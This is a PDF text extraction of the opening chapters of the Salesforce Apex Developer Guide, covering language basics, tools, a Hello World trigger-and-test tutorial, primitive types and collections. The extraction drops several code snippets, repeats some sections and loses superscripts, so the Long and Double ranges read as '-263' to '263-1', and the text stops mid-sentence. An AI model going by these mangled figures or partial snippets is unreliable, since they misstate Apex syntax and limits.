Salesforce Apex Developer Guide
Salesforce Apex Developer Guide
names and marks. Other marks appearing herein may be trademarks of their respective owners.
CONTENTS
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on the Salesforce Platform server, in conjunction with calls to the API. This guide introduces you to the Apex development
process and provides valuable information on learning, writing, deploying and testing Apex.
For reference information on Apex classes, interfaces, exceptions and so on, see Apex Reference Guide.
1
Apex Developer Guide Introducing Apex
Introducing Apex
Apex code is the first multitenant, on-demand programming language for developers interested in building the next generation of
business applications. Apex revolutionizes the way developers create on-demand applications.
Apex Development Process
In this chapter, you’ll learn about the Apex development lifecycle, and which organization and tools to use to develop Apex. You’ll
also learn about testing and deploying Apex code.
Apex Quick Start
This step-by-step tutorial shows how to create a simple Apex class and trigger, and how to deploy these components to a production
organization.
Introducing Apex
Apex code is the first multitenant, on-demand programming language for developers interested in building the next generation of
business applications. Apex revolutionizes the way developers create on-demand applications.
While many customization options are available through the Salesforce user interface, such as the ability to define new fields, objects,
workflow, and approval processes, developers can also use the SOAP API to issue data manipulation commands such as delete(),
update() or upsert(), from client-side programs.
These client-side programs, typically written in Java, JavaScript, .NET, or other programming languages, grant organizations more flexibility
in their customizations. However, because the controlling logic for these client-side programs is not located on Salesforce servers, they
are restricted by the performance costs of making multiple round-trips to the Salesforce site to accomplish common business transactions,
and by the cost and complexity of hosting server code, such as Java or .NET, in a secure and robust environment.
1. What is Apex?
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on Salesforce servers in conjunction with calls to the API. Using syntax that looks like Java and acts like database stored
procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates,
and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.
2. Understanding Apex Core Concepts
Apex code typically contains many things that you're familiar with from other programming languages.
3. When Should I Use Apex?
Salesforce provides the ability to customize prebuilt apps to fit your organization. For complex business processes, you can implement
custom functionality and user interfaces with a variety of tools, including Apex and Lightning Components.
4. How Does Apex Work?
All Apex runs entirely on-demand on the Lightning Platform. Developers write and save Apex code to the platform, and end users
trigger the execution of the Apex code via the user interface.
5. Developing Code in the Cloud
The Apex programming language is saved and runs in the cloud—the multitenant platform. Apex is tailored for data access and
data manipulation on the platform, and it enables you to add custom business logic to system events. While it provides many benefits
for automating business processes on the platform, it is not a general purpose programming language.
2
Apex Developer Guide Introducing Apex
What is Apex?
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on Salesforce servers in conjunction with calls to the API. Using syntax that looks like Java and acts like database stored
procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates, and
Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.
3
Apex Developer Guide Introducing Apex
Easy to use
Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax, loop syntax,
object and array notation. Where Apex introduces new elements, it uses syntax and semantics that are easy to understand and
encourage efficient use of the Lightning Platform. Therefore, Apex produces code that is both succinct and easy to write.
Data focused
Apex is designed to thread together multiple query and DML statements into a single unit of work on the Salesforce server. Developers
use database stored procedures to thread together multiple transaction statements on a database server in a similar way. Like other
database stored procedures, Apex does not attempt to provide general support for rendering elements in the user interface.
Rigorous
Apex is a strongly typed language that uses direct references to schema objects such as object and field names. It fails quickly at
compile time if any references are invalid. It stores all custom field, object, and class dependencies in metadata to ensure that they
are not deleted while required by active Apex code.
Hosted
Apex is interpreted, executed, and controlled entirely by the Lightning Platform.
Multitenant aware
Like the rest of the Lightning Platform, Apex runs in a multitenant environment. So, the Apex runtime engine is designed to guard
closely against runaway code, preventing it from monopolizing shared resources. Any code that violates limits fails with
easy-to-understand error messages.
Easy to test
Apex provides built-in support for unit test creation and execution. It includes test results that indicate how much code is covered,
and which parts of your code could be more efficient. Salesforce ensures that all custom Apex code works as expected by executing
all unit tests prior to any platform upgrades.
Versioned
You can save your Apex code against different versions of the API. This enables you to maintain behavior.
Apex is included in Performance Edition, Unlimited Edition, Developer Edition, Enterprise Edition, and Database.com.
4
Apex Developer Guide Introducing Apex
The section describes the basic functionality of Apex, as well as some of the core concepts.
For more information about using version settings with managed packages, see About Package Versions in Salesforce Help.
5
Apex Developer Guide Introducing Apex
Tip: The semi-colon at the end of preceding codeblock is not optional. You must end all statements with a semi-colon.
In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This fact means that any changes
to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.
Non-primitive data type arguments, such as sObjects, are passed into methods by reference. Therefore, when the method returns, the
passed-in argument still references the same object as before the method call. Within the method, the reference can't be changed to
point to another object, but the values of the object's fields can be changed.
Using Statements
A statement is any coded instruction that performs an action.
In Apex, statements must end with a semicolon and can be one of these types:
• Assignment, such as assigning a value to a variable
• Conditional (if-else)
• Loops:
– Do-while
– While
– For
• Locking
• Data Manipulation Language (DML)
• Transaction Control
• Method Invoking
• Exception Handling
6
Apex Developer Guide Introducing Apex
A block is a series of statements that are grouped with curly braces and can be used in any place where a single statement is allowed.
For example:
if (true) {
System.debug(1);
System.debug(2);
} else {
System.debug(3);
System.debug(4);
}
In cases where a block consists of only one statement, the curly braces can be left off. For example:
if (true)
System.debug(1);
else
System.debug(2);
Using Collections
Apex has the following types of collections:
• Lists (arrays)
• Maps
• Sets
A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements is
important. You can have duplicate elements in a list.
The first index position in a list is always 0.
To create a list:
• Use the new keyword
• Use the List keyword followed by the element type contained within <> characters.
Use the following syntax for creating a list:
The following example creates a list of Integer, and assigns it to the variable My_List. Remember, because Apex is strongly typed,
you must declare the data type of My_List as a list of Integer.
List<Integer> My_List = new List<Integer>();
7
Apex Developer Guide Introducing Apex
Set<datatype> set_name
[= new Set<datatype>();] |
[= new Set<datatype>{value [, value2. . .] };] |
;
The following example creates a set of String. The values for the set are passed in using the curly braces {}.
Set<String> My_String = new Set<String>{'a', 'b', 'c'};
The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the values for
the map are being passed in between the curly braces {} as the map is being created.
Map<Integer, String> My_Map = new Map<Integer, String>{1 => 'a', 2 => 'b', 3 => 'c'};
Using Branching
An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax is as
follows:
if (Condition){
// Do this if the condition is true
} else {
// Do this if the condition is not true
}
Using Loops
While the if statement enables your application to do things based on a condition, loops tell your application to do the same thing
again and again based on a condition. Apex supports the following types of loops:
• Do-while
8
Apex Developer Guide Introducing Apex
• While
• For
A Do-while loop checks the condition after the code has executed.
A While loop checks the condition at the start, before the code executes.
A For loop enables you to more finely control the condition used with the loop. In addition, Apex supports traditional For loops where
you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition.
For more information, see Loops on page 57.
Apex
Use Apex if you want to:
• Create Web services.
• Create email services.
• Perform complex validation over multiple objects.
• Create complex business processes that aren’t supported by Flow Builder.
• Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object).
• Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless
of whether it originates in the user interface, a Visualforce page, or from SOAP API.
Lightning Components
Develop Lightning components to customize Lightning Experience, the Salesforce mobile app, or to build your own standalone apps.
You can also use out-of-the-box components to speed up development.
As of Spring ’19 (API version 45.0), you can build Lightning components using two programming models: the Lightning Web Components
model, and the original Aura Components model. Lightning web components are custom HTML elements built using HTML and modern
JavaScript. Lightning web components and Aura components can coexist and interoperate on a page. Configure Lightning web
components and Aura components to work in Lightning App Builder and Experience Builder. Admins and end users don’t know which
programming model was used to develop the components. To them, they’re simply Lightning components.
We recommend using the Lightning Web Components (LWC) model to create custom user interfaces. LWC follows W3C web standards,
and you can build and package components using standard JavaScript syntax. With LWC, you can work easily with Salesforce data using
Apex and Lightning Data Service.
For more information, see the LWC Dev Guide.
Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing
the Salesforce user interface. With Visualforce you can:
• Build wizards and other multistep processes.
• Create your own custom flow control through an application.
9
Apex Developer Guide Introducing Apex
• Define navigation patterns and data-specific rules for optimal, efficient application interaction.
For more information, see the Visualforce Developer's Guide.
SOAP API
Use standard SOAP API calls when you want to add functionality to a composite application that processes only one type of record at a
time and does not require any transactional control (such as setting a Savepoint or rolling back changes).
For more information, see the SOAP API Developer Guide.
When a developer writes and saves Apex code to the platform, the platform application server first compiles the code into an abstract
set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as metadata.
When an end user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform application
server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before returning the
result. The end user observes no differences in execution time from standard platform requests.
Tip: All Apex code runs on the Lightning Platform, which is a shared resource used by all other organizations. To guarantee
consistent performance and scalability, the execution of Apex is bound by governor limits that ensure no single Apex execution
impacts the overall service of Salesforce. This means all Apex code is limited by the number of operations (such as DML or SOQL)
that it can perform within one process.
10
Apex Developer Guide Apex Development Process
All Apex requests return a collection that contains from 1 to 50,000 records. You cannot assume that your code only works on a
single record at a time. Therefore, you must implement programming patterns that take bulk processing into account. If you don’t,
you may run into the governor limits.
SEE ALSO:
Trigger and Bulk Request Best Practices
11
Apex Developer Guide Apex Development Process
Sandboxes (Recommended)
A sandbox is a copy of your production org’s metadata in a separate environment, with varying amounts of data depending on the
sandbox type. A sandbox provides a safe space for developers and admins to experiment with new features and validate changes before
deploying code to production. Developer and Developer Pro sandboxes with source tracking enabled can take advantage of many of
the features of our Salesforce DX source-driven development tools, including Salesforce CLI, Code Builder, and DevOps Center. See Create
a Sandbox in Salesforce Help.
12
Apex Developer Guide Apex Development Process
Developer Console
The Developer Console is an integrated development environment (IDE) built into Salesforce. Use it to create, debug, and test Apex
classes and triggers.
To open the Developer Console from Lightning Experience: Click the quick access menu ( ), then click Developer Console.
To open the Developer Console from Salesforce Classic: Click Your Name > Developer Console.
The Developer Console supports these tasks:
• Writing code—You can add code using the source code editor. Also, you can browse packages in your organization.
• Compiling code—When you save a trigger or class, the code is automatically compiled. Any compilation errors are reported.
• Debugging—You can view debug logs and set checkpoints that aid in debugging.
• Testing—You can execute tests of specific test classes or all tests in your organization, and you can view test results. Also, you can
inspect code coverage.
• Checking performance—You can inspect debug logs to locate performance bottlenecks.
• SOQL queries—You can query data in your organization and view the results using the Query Editor.
• Color coding and autocomplete—The source code editor uses a color scheme for easier readability of code elements and provides
autocompletion for class and method names.
13
Apex Developer Guide Apex Development Process
• To create a trigger on an object, from Setup in the Quick Find box, enter Object and click Object Manager. Click the object name
and click Triggers. Click New and enter your code.
Note: You can’t use the Salesforce Setup code editors to modify Apex in a Salesforce production org.
Additional Editors
Alternatively, you can use any text editor, such as Notepad, to write Apex code. Then either copy and paste the code into your application,
or use one of the API calls to deploy it.
To develop an Apex IDE of your own, use SOAP API methods for compiling triggers and classes, and executing test methods. Use Metadata
API methods for deploying code to production environments. For more information, see Deploying Apex on page 712.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex
14
Apex Developer Guide Apex Development Process
Training Courses
Training classes are also available from Salesforce Trailhead Academy. Grow and validate your skills with Salesforce Credentials.
Writing Tests
Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend
that you use a test-driven development process, that is, test development that occurs at the same time as code development.
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class
methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to
the database, and send no emails. Such methods are flagged with the @IsTest annotation in the method definition. Unit test methods
must be defined in test classes, that is, classes annotated with @IsTest.
Note: The @IsTest annotation on methods is equivalent to the testMethod keyword. As best practice, Salesforce
recommends that you use @IsTest rather than testMethod. The testMethod keyword may be versioned out in a future
release.
In addition, before you deploy Apex or package it for the AppExchange, the following must be true.
• Unit tests must cover at least 75% of your Apex code, and all of those tests must complete successfully.
Note the following.
– When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
– Calls to System.debug aren’t counted as part of Apex code coverage.
– Test methods and test classes aren’t counted as part of Apex code coverage.
– While only 75% of your Apex code must be covered by tests, don’t focus on the percentage of code that is covered. Instead,
make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single
records. This approach ensures that 75% or more of your code is covered by unit tests.
15
Apex Developer Guide Apex Quick Start
16
Apex Developer Guide Apex Quick Start
This Hello World sample requires custom objects. You can either create these objects on your own, or download the objects and Apex
code as an unmanaged package from AppExchange. To obtain the sample assets in your org, install the Apex Tutorials Package. This
package also contains sample code and objects for the Shipping Invoice example.
Note: There’s a more complex Shipping Invoice example that you can also walk through. That example illustrates many more
features of the language.
17
Apex Developer Guide Apex Quick Start
SEE ALSO:
Salesforce Help: Find Object Management Settings
The previous code is the class definition to which you’ll be adding one method in the next step. Apex code is contained in classes.
This class is defined as public, which means the class is available to other Apex classes and triggers. For more information, see
Classes, Objects, and Interfaces on page 60.
3. Add this method definition between the class opening and closing brackets.
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}
This method is called applyDiscount, and it’s both public and static. Because it’s a static method, you don't need to create an
instance of the class to access the method—you can use the name of the class followed by a dot (.) and the name of the method.
For more information, see Static and Instance Methods, Variables, and Initialization Code on page 69.
This method takes one parameter, a list of Book records, which is assigned to the variable books. Notice the __c in the object
name Book__c. This indicates that it’s a custom object that you created. Standard objects that are provided in the Salesforce
application, such as Account, don't end with this postfix.
The next section of code contains the rest of the method definition:
for (Book__c b :books){
b.Price__c *= 0.9;
}
Notice the __c after the field name Price__c. This indicates that it’s a custom field that you created. Standard fields that are
provided by default in Salesforce are accessed using the same type of dot notation but without the __c, for example, Name doesn't
end with __c in Book__c.Name. The statement b.Price__c *= 0.9; takes the old value of b.Price__c, multiplies
it by 0.9, which means its value is discounted by 10%, and then stores the new value into the b.Price__c field. The *= operator
18
Apex Developer Guide Apex Quick Start
is a shortcut. Another way to write this statement is b.Price__c = b.Price__c * 0.9;. See Expression Operators on
page 39.
4. Click Save to save the new class. You now have this full class definition.
public class MyHelloWorld {
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}
}
You now have a class that contains some code that iterates over a list of books and updates the Price field for each book. This code is
part of the applyDiscount static method called by the trigger that you’ll create in the next step.
MyHelloWorld.applyDiscount(books);
}
It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example, this
trigger is called HelloWorldTrigger, it operates on the Book__c object, and runs before new books are inserted into the database.
The next line in the trigger creates a list of book records named books and assigns it the contents of a trigger context variable
called Trigger.new. Trigger context variables such as Trigger.new are implicitly defined in all triggers and provide access
to the records that caused the trigger to fire. In this case, Trigger.new contains all the new books that are about to be inserted.
Book__c[] books = Trigger.new;
The next line in the code calls the method applyDiscount in the MyHelloWorld class. It passes in the array of new books.
MyHelloWorld.applyDiscount(books);
19
Apex Developer Guide Apex Quick Start
You now have all the code that is needed to update the price of all books that get inserted. However, there’s still one piece of the puzzle
missing. Unit tests are an important part of writing code and are required. In the next step, you'll see why this is so and will be able to
add a test class.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Note: Testing is an important part of the development process. Before you can deploy Apex or package it for AppExchange, the
following must be true.
• Unit tests must cover at least 75% of your Apex code, and all of those tests must complete successfully.
Note the following.
– When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
– Calls to System.debug aren’t counted as part of Apex code coverage.
– Test methods and test classes aren’t counted as part of Apex code coverage.
– While only 75% of your Apex code must be covered by tests, don’t focus on the percentage of code that is covered. Instead,
make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and
single records. This approach ensures that 75% or more of your code is covered by unit tests.
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes and click New.
2. In the class editor, add this test class definition, and then click Save.
@IsTest
private class HelloWorldTestClass {
@IsTest
static void validateHelloWorld() {
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;
20
Apex Developer Guide Apex Quick Start
}
}
This class is defined using the @IsTest annotation. Classes defined this way should only contain test methods and any methods
required to support those test methods. One advantage to creating a separate class for testing is that classes defined with @IsTest
don’t count against your org’s limit of 6 MB of Apex code. You can also add the @IsTest annotation to individual methods. For
more information, see @IsTest Annotation on page 103 and Execution Governors and Limits.
The method validateHelloWorld is defined using the @IsTest annotation. This annotation means that if changes are
made to the database, they’re rolled back when execution completes. You don’t have to delete any test data created in the test
method.
Note: The @IsTest annotation on methods is equivalent to the testMethod keyword. As best practice, Salesforce
recommends that you use @IsTest rather than testMethod. The testMethod keyword may be versioned out in a
future release.
First, the test method creates a book and inserts it into the database temporarily. The System.debug statement writes the value
of the price in the debug log.
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;
After the book is inserted, the code retrieves the newly inserted book, using the ID that was initially assigned to the book when it
was inserted. The System.debug statement then logs the new price that the trigger modified.
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);
When the MyHelloWorld class runs, it updates the Price__c field and reduces its value by 10%. The following test verifies
that the method applyDiscount ran and produced the expected result.
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);
3. To run this test and view code coverage information, switch to the Developer Console.
4. In the Developer Console, click Test > New Run.
5. To select your test class, click HelloWorldTestClass.
6. To add all methods in the HelloWorldTestClass class to the test run, click Add Selected.
7. Click Run.
The test result displays in the Tests tab. Optionally, you can expand the test class in the Tests tab to view which methods were run.
In this case, the class contains only one test method.
8. The Overall Code Coverage pane shows the code coverage of this test class. To view the percentage of lines of code in the trigger
covered by this test, which is 100%, double-click the code coverage line for HelloWorldTrigger. Because the trigger calls a method
from the MyHelloWorld class, this class also has coverage (100%). To view the class coverage, double-click MyHelloWorld.
9. To open the log file, in the Logs tab, double-click the most recent log line in the list of logs. The execution log displays, including
logging information about the trigger event, the call to the applyDiscount method, and the price before and after the trigger.
21
Apex Developer Guide Apex Quick Start
By now, you’ve completed all the steps necessary for writing some Apex code with a test that runs in your development environment.
In the real world, after you tested your code and are satisfied with it, you want to deploy the code and any prerequisite components to
a production org. The next step shows you how to do this deployment for the code and custom object you created.
SEE ALSO:
Salesforce Help: Open the Developer Console
In this tutorial, you learned how to create a custom object, how to add an Apex trigger, class, and test class. Finally, you also learned
how to test your code, and how to upload the code and the custom object using Change Sets.
22
Apex Developer Guide Writing Apex
Writing Apex
Apex is like Java for Salesforce. It enables you to add and interact with data in the Lightning Platform persistence layer. It uses classes,
data types, variables, and if-else statements. You can make it execute based on a condition, or have a block of code execute repeatedly.
1. Data Types
In Apex, all variables and expressions have a data type, such as sObject, primitive, or enum.
2. Primitive Data Types
Apex uses the same primitive data types as SOAP API, except for higher-precision Decimal type in certain cases. All primitive data
types are passed by value.
3. Collections
Collections in Apex can be lists, sets, or maps.
4. Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are
typically used to define a set of possible values that don’t otherwise have a numerical order. Typical examples include the suit of a
card, or a particular season of the year.
5. Variables
Local variables are declared with Java-style syntax.
6. Constants
Apex constants are variables whose values don’t change after being initialized once. Constants can be defined using the final
keyword.
7. Expressions and Operators
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.
8. Assignment Statements
An assignment statement is any statement that places a value into a variable.
23
Apex Developer Guide Data Types and Variables
9. Rules of Conversion
In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot
be implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly
converted, without using a method.
Data Types
In Apex, all variables and expressions have a data type, such as sObject, primitive, or enum.
• A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page 24)
• An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c (see Working
with sObjects on page 127 in Chapter 4.)
• A collection, including:
– A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists on page
28)
– A set of primitives (see Sets on page 30)
– A map from a primitive to a primitive, sObject, or collection (see Maps on page 31)
• A typed list of values, also known as an enum (see Enums on page 33)
• Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 60)
• Objects created from system supplied Apex classes
• Null (for the null constant, which can be assigned to any variable)
Methods can return values of any of the listed types, or return no value and be of type Void.
Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer is assigned
a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line number and column of
the error. For more information, see Debugging Apex on page 638.
Boolean A value that can only be assigned true, false, or null. For example:
Boolean isWinner = true;
24
Apex Developer Guide Data Types and Variables
Datetime A value that indicates a particular day and time, such as a timestamp. Always create datetime values
with a system static method.
You can add or subtract an Integer or Double value from a Datetime value, returning a Date value.
Addition and subtraction of Integer and Double values are the only arithmetic functions that work
with Datetime values. You can’t perform arithmetic functions that include two or more Datetime
values. Instead, use the Datetime methods.
Decimal A number that includes a decimal point. Decimal is an arbitrary precision number. Currency fields
are automatically assigned the type Decimal.
If you don’t explicitly set the number of decimal places for a Decimal, the item from which the Decimal
is created determines the Decimal’s scale. Scale is a count of decimal places. Use the setScale
method to set a Decimal’s scale.
• If the Decimal is created as part of a query, the scale is based on the scale of the field returned
from the query.
• If the Decimal is created from a String, the scale is the number of characters after the decimal
point of the String.
• If the Decimal is created from a non-decimal number, the number is first converted to a String.
The scale is then set using the number of characters after the decimal point.
Note: Two Decimal objects that are numerically equivalent but differ in scale (such as 1.1
and 1.10) generally don’t have the same hashcode. Use caution when such Decimal objects
are used in Sets or as Map keys.
Double A 64-bit number that includes a decimal point. Doubles have a minimum value of -263 and a maximum
value of 263-1. For example:
Double pi = 3.14159;
Double e = 2.7182818284D;
If you set ID to a 15-character value, Apex converts the value to its 18-character representation. All
invalid ID values are rejected with a runtime exception.
25
Apex Developer Guide Data Types and Variables
Long A 64-bit number that doesn’t include a decimal point. Longs have a minimum value of -263 and a
maximum value of 263-1. Use this data type when you need a range of values wider than the range
provided by Integer. For example:
Long l = 2147483648L;
Object Any data type that is supported in Apex. Apex supports primitive data types (such as Integer),
user-defined custom classes, the sObject generic type, or an sObject specific type (such as Account).
All Apex data types inherit from Object.
You can cast an object that represents a more specific data type to its underlying data type. For
example:
Object obj = 10;
// Cast the object to an integer.
Integer i = (Integer)obj;
System.assertEquals(10, i);
The next example shows how to cast an object to a user-defined type—a custom Apex class named
MyApexClass that is predefined in your organization.
String size: The limit on the number of characters is governed by the heap size limit.
Empty Strings and Trailing Whitespace: sObject String field values follow the same rules as in
SOAP API: they can never be empty (only null), and they can never include leading and trailing
whitespace. These conventions are necessary for database storage.
Conversely, Strings in Apex can be null or empty and can include leading and trailing whitespace,
which can be used to construct a message.
The Solution sObject field SolutionNote operates as a special type of String. If you have HTML Solutions
enabled, any HTML tags used in this field are verified before the object is created or updated. If invalid
HTML is entered, an error is thrown. Any JavaScript used in this field is removed before the object is
26
Apex Developer Guide Data Types and Variables
In the following example, when the Solution displays on a detail page, the SolutionNote field only
contains HelloGoodbye:
trigger t2 on Solution (before insert) {
Trigger.new[0].SolutionNote =
'<javascript>Hello</javascript>Goodbye';
}
Time A value that indicates a particular time. Always create time values with a system static method. See
Time Class.
In addition, two non-standard primitive data types can’t be used as variable or method types, but do appear in system static methods:
• AnyType. The valueOf static method converts an sObject field of type AnyType to a standard primitive. AnyType is used within
the Lightning Platform database exclusively for sObject fields in field history tracking tables.
• Currency. The Currency.newInstance static method creates a literal of type Currency. This method is for use solely within
SOQL and SOSL WHERE clauses to filter against sObject currency fields. You can’t instantiate Currency in any other type of Apex.
For more information on the AnyType data type, see Field Types in the Object Reference for Salesforce.
SEE ALSO:
Expression Operators
27
Apex Developer Guide Data Types and Variables
Collections
Collections in Apex can be lists, sets, or maps.
Note: There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.
Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.
Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.
Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.
Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before
that variable can be used.
SEE ALSO:
Execution Governors and Limits
Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive types,
collections, sObjects, user-defined types, and built-in Apex types.
This table is a visual representation of a list of Strings:
To access elements in a list, use the List methods provided by Apex. For example:
List<Integer> myList = new List<Integer>(); // Define a new list
myList.add(47); // Adds a second element of value 47 to the end
28
Apex Developer Guide Data Types and Variables
// of the list
Integer i = myList.get(0); // Retrieves the element at index 0
myList.set(0, 1); // Adds the integer 1 to the list at index 0
myList.clear(); // Removes all elements from the list
For more information, including a complete list of all supported methods, see List Class.
To reference an element of a one-dimensional list, you can also follow the name of the list with the element's index position in square
brackets. For example:
colors[0] = 'Green';
Even though the size of the previous String array is defined as one element (the number between the brackets in new String[1]),
lists are elastic and can grow as needed provided that you use the List add method to add new elements. For example, you can
add two or more elements to the colors list. But if you’re using square brackets to add an element to a list, the list behaves like an
array and isn’t elastic, that is, you won’t be allowed to add more elements than the declared array size.
All lists are initialized to null. Lists can be assigned values and allocated memory using literal notation. For example:
Example Description
Defines an Integer list of size zero with no elements
List<Integer> ints = new Integer[0];
List Sorting
You can sort list elements and the sort order depends on the data type of the elements.
List Sorting
You can sort list elements and the sort order depends on the data type of the elements.
Using the List.sort method, you can sort elements in a list. Sorting is in ascending order for elements of primitive data types, such
as strings. The sort order of other more complex data types is described in the chapters covering those data types.
You can sort custom types (your Apex classes) if they implement the Comparable interface. Alternatively, a class implementing the
Comparator interface can be passed as a parameter to the List.sort method. For more information on the sort order used for
sObjects, see Sorting Lists of sObjects.
29
Apex Developer Guide Data Types and Variables
This example shows how to sort a list of strings and verifies that the colors are in ascending order in the list.
List<String> colors = new List<String>{
'Yellow',
'Red',
'Green'};
colors.sort();
System.assertEquals('Green', colors.get(0));
System.assertEquals('Red', colors.get(1));
System.assertEquals('Yellow', colors.get(2));
For the Visualforce SelectOption control, sorting is in ascending order based on the value and label fields. See this next section for the
sequence of comparison steps used for SelectOption.
The output of the debug statements shows the contents of the list, both before and after the sort.
DEBUG|Before sorting: (System.SelectOption[value="A", label="United States",
disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"],
System.SelectOption[value="A", label="Mexico", disabled="false"])
DEBUG|After sorting: (System.SelectOption[value="A", label="Mexico", disabled="false"],
System.SelectOption[value="A", label="United States", disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"])
Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive types,
collections, sObjects, user-defined types, and built-in Apex types.
This table represents a set of strings that uses city names:
30
Apex Developer Guide Data Types and Variables
Sets can contain collections that can be nested within one another. For example, you can have a set of lists of sets of Integers. A set can
contain up to seven levels of nested collections inside it, that is, up to eight levels overall.
To declare a set, use the Set keyword followed by the primitive data type name within <> characters. For example:
Set<String> myStringSet = new Set<String>();
The following example shows how to create a set with two hardcoded string values.
// Defines a new set with two elements
Set<String> set1 = new Set<String>{'New York', 'Paris'};
To access elements in a set, use the system methods provided by Apex. For example:
// Define a new set
Set<Integer> mySet = new Set<Integer>();
// Add two elements to the set
mySet.add(1);
mySet.add(3);
// Assert that the set contains the integer value we added
System.assert(mySet.contains(1));
// Remove the integer value from the set
mySet.remove(1);
The following example shows how to create a set from elements of another set.
// Define a new set that contains the
// elements of the set created in the previous example
Set<Integer> mySet2 = new Set<Integer>(mySet);
// Assert that the set size equals 1
// Note: The set from the previous example contains only one value
System.assert(mySet2.size() == 1);
For more information, including a complete list of all supported set system methods, see Set Class.
Note the following limitations on sets:
• Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations (for example,
HashSet or TreeSet). Apex uses a hash structure for all sets.
• A set is an unordered collection—you can’t access a set element at a specific index. You can only iterate over set elements.
• The iteration order of set elements is deterministic, so you can rely on the order being the same in each subsequent execution of
the same code.
Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.
This table represents a map of countries and currencies:
Map keys and values can contain any collection, and can contain nested collections. For example, you can have a map of Integers to
maps, which, in turn, map Strings to lists. Map keys can contain up to seven levels of nested collections, that is, up to eight levels overall.
31
Apex Developer Guide Data Types and Variables
To declare a map, use the Map keyword followed by the data types of the key and the value within <> characters. For example:
Map<String, String> country_currencies = new Map<String, String>();
Map<ID, Set<String>> m = new Map<ID, Set<String>>();
You can use the generic or specific sObject data types with maps. You can also create a generic instance of a map.
As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the curly braces,
specify the key first, then specify the value for that key using =>. For example:
Map<String, String> MyStrings = new Map<String, String>{'a' => 'b', 'c' =>
'd'.toUpperCase()};
In the first example, the value for the key a is b, and the value for the key c is D.
To access elements in a map, use the Map methods provided by Apex. This example creates a map of integer keys and string values. It
adds two entries, checks for the existence of the first key, retrieves the value for the second entry, and finally gets the set of all keys.
Map<Integer, String> m = new Map<Integer, String>(); // Define a new map
m.put(1, 'First entry'); // Insert a new key-value pair in the map
m.put(2, 'Second entry'); // Insert a new key-value pair in the map
System.assert(m.containsKey(1)); // Assert that the map contains a key
String value = m.get(2); // Retrieve a value, given a particular key
System.assertEquals('Second entry', value);
Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the
map
For more information, including a complete list of all supported Map methods, see Map Class.
Map Considerations
• Unlike Java, Apex developers don’t need to reference the algorithm that is used to implement a map in their declarations (for example,
